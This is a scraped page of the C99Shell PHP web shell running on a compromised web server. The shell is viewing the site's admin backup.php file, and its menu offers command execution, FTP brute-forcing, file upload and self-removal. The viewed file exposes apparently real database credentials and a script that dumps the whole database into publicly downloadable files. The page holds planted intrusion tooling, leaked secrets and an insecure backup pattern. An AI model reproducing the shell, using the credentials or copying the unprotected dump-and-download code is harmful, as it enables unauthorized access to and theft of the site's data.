!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/admin/   drwxr-xr-x
Free 30.77 GB of 49.93 GB (61.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     backup.php (3.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// Database config
$host "localhost";
$user "sql_idfdtce_co_in";      // change to your DB username
$pass "02a26fdfdb2e4265";          // change to your DB password
$db   "sql_itcdfde_co_in"// change to your DB name

// ========================
// Connect to database
// ========================
$conn = new mysqli($host$user$pass$db);
if (
$conn->connect_error) {
    die(
"❌ Connection failed: " $conn->connect_error);
}

// ========================
// Fetch all tables
// ========================
$tables = [];
$result $conn->query("SHOW TABLES");
while (
$row $result->fetch_row()) {
    
$tables[] = $row[0];
}

$sqlScript "";

// ========================
// Loop through tables
// ========================
foreach ($tables as $table) {
    
// Drop table statement
    
$sqlScript .= "DROP TABLE IF EXISTS `$table`;\n";

    
// Table structure
    
$res $conn->query("SHOW CREATE TABLE `$table`");
    
$row $res->fetch_row();
    
$sqlScript .= $row[1] . ";\n\n";

    
// Table data
    
$resData $conn->query("SELECT * FROM `$table`");
    
$columnCount $resData->field_count;

    while (
$rowData $resData->fetch_row()) {
        
$sqlScript .= "INSERT INTO `$table` VALUES(";
        for (
$i 0$i $columnCount$i++) {
            
$rowData[$i] = isset($rowData[$i]) ? $conn->real_escape_string($rowData[$i]) : '';
            
$sqlScript .= '"' $rowData[$i] . '"';
            if (
$i < ($columnCount 1)) {
                
$sqlScript .= ',';
            }
        }
        
$sqlScript .= ");\n";
    }

    
$sqlScript .= "\n";
}

// ========================
// Close connection
// ========================
$conn->close();

// ========================
// Save SQL file locally
// ========================
if (!empty($sqlScript)) {
    
$backup_date date("Y-m-d H:i:s");
    
$backup_file_name $db "_backup_" date("Y-m-d_H-i-s") . ".sql";
    
$backup_dir "backups";

    if (!
file_exists($backup_dir)) {
        
mkdir($backup_dir0777true);
    }

    
file_put_contents($backup_dir "/" $backup_file_name$sqlScript);
} else {
    die(
"⚠️ No data found in database!");
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Database Backup List</title>
    <style>
        body { font-family: Arial, sans-serif; background: #f7f7f7; }
        table { border-collapse: collapse; width: 80%; margin: 20px auto; background: #fff; }
        th, td { border: 1px solid #ccc; padding: 10px; text-align: center; }
        th { background: #007BFF; color: #fff; }
        tr:nth-child(even) { background: #f2f2f2; }
        h2 { text-align: center; margin-top: 20px; }
        a { text-decoration: none; color: #007BFF; font-weight: bold; }
    </style>
</head>
<body>
    <h2>📂 Database Backup List</h2>
    <table>
        <tr>
            <th>Website / DB Name</th>
            <th>Backup Date</th>
            <th>Backup File Name</th>
            <th>Download</th>
        </tr>
        <?php
        $files 
glob($backup_dir "/*.sql");
        
rsort($files); // latest first
        
foreach ($files as $file) {
            
$filename basename($file);
            
$filedate date("Y-m-d H:i:s"filemtime($file));
            echo 
"<tr>
                    <td>
$db</td>
                    <td>
$filedate</td>
                    <td>
$filename</td>
                    <td><a href='
$file' download>⬇ Download</a></td>
                </tr>"
;
        }
        
?>
    </table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0017 ]--